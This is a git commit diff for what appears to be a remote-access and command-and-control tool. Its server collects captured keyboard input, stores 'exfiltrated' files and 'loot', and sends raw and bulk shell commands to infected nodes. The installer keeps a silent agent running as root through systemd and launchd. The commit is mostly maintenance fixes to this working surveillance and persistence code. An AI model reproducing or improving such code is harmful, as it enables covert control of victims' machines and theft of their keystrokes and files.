fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap

- server.js: debounce saveData to max 1 write/15s (was every heartbeat)
- server.js: proper CSV escaping (_csvEscape) for node export endpoint
- server.js: replace deprecated String.substr() with String.slice()
- agent.py: 50MB size cap on download_file to prevent OOM
- agent.py: shlex.quote() server_url in crontab persistence (shell injection)
- agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart
- app.js: pass event param to switchTab() (global event deprecated)
- app.js: fix lootDownload URL revocation (60s → safe for slow downloads)
This commit is contained in:
root
2026-08-07 00:59:07 +00:00
parent 4da56b5874
commit c966cb0a28
3 changed files with 195 additions and 57 deletions

View File

@@ -119,8 +119,10 @@ setInterval(() => {
}
}, 5000);
let _lastSaveTime = 0;
function broadcastState() {
saveData(); // Persist on every state change
const now = Date.now();
if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); }
const payload = JSON.stringify({
type: 'NODES_UPDATE',
serverIp: SERVER_IP,
@@ -209,7 +211,7 @@ app.post('/api/agent/logs', (req, res) => {
if (Array.isArray(logs)) {
logs.forEach(logLine => {
masterSystemLogs.push({
id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`,
id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: Date.now(),
@@ -233,7 +235,7 @@ app.post('/api/agent/input-capture', (req, res) => {
events.forEach(ev => {
inputDataStore.push({
id: `inp-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`,
id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`,
nodeId,
hostname: hostname || 'Unknown',
timestamp: ev.timestamp || Date.now(),
@@ -368,7 +370,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
app.post('/api/agent/register', (req, res) => {
const { hostname, platform, arch, ip, osName, tags } = req.body;
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).substr(2, 6)}`;
const nodeId = req.body.nodeId || `node-${hostname.toLowerCase().replace(/[^a-z0-9]/g, '-')}-${Math.random().toString(36).slice(2, 6)}`;
const existingNode = nodes.get(nodeId);
const now = Date.now();
@@ -466,7 +468,7 @@ app.post('/api/nodes/:id/command', (req, res) => {
return res.status(404).json({ error: 'Node not found' });
}
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const commandId = `cmd-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
@@ -507,7 +509,7 @@ app.post('/api/nodes/bulk-command', (req, res) => {
const queuedIds = [];
onlineNodes.forEach(node => {
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).substr(2, 4)}`;
const commandId = `cmd-bulk-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`;
const actionName = actionType || 'raw_command';
const cmdObj = {
@@ -609,7 +611,7 @@ app.post('/api/agent/file-result', (req, res) => {
else entry.output = `[FILE ERROR] ${error}`;
}
if (!error && data) {
const fileId = `file-${Date.now()}-${Math.random().toString(36).substr(2, 6)}`;
const fileId = `file-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`;
exfiltratedFiles.set(fileId, {
nodeId, hostname, filename, data, mime: mime || 'application/octet-stream',
timestamp: Date.now(), size: Buffer.byteLength(data, 'base64')
@@ -696,7 +698,7 @@ After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent
ExecStart=/usr/bin/python3 -u $INSTALL_DIR/agent.py --server $SERVER_URL --silent
Restart=always
RestartSec=5
User=root
@@ -784,10 +786,10 @@ cat << EOF > "$PLIST_FILE"
<key>ProgramArguments</key>
<array>
<string>/usr/bin/python3</string>
<string>-u</string>
<string>$INSTALL_DIR/agent.py</string>
<string>--server</string>
<string>$SERVER_URL</string>
<string>--silent</string>
</array>
<key>RunAtLoad</key>
<true/>
@@ -801,8 +803,10 @@ cat << EOF > "$PLIST_FILE"
</plist>
EOF
launchctl unload "$PLIST_FILE" 2>/dev/null || true
launchctl load "$PLIST_FILE"
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
launchctl kickstart gui/$(id -u)/com.nexusops.agent
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
echo " To stop: launchctl unload $PLIST_FILE"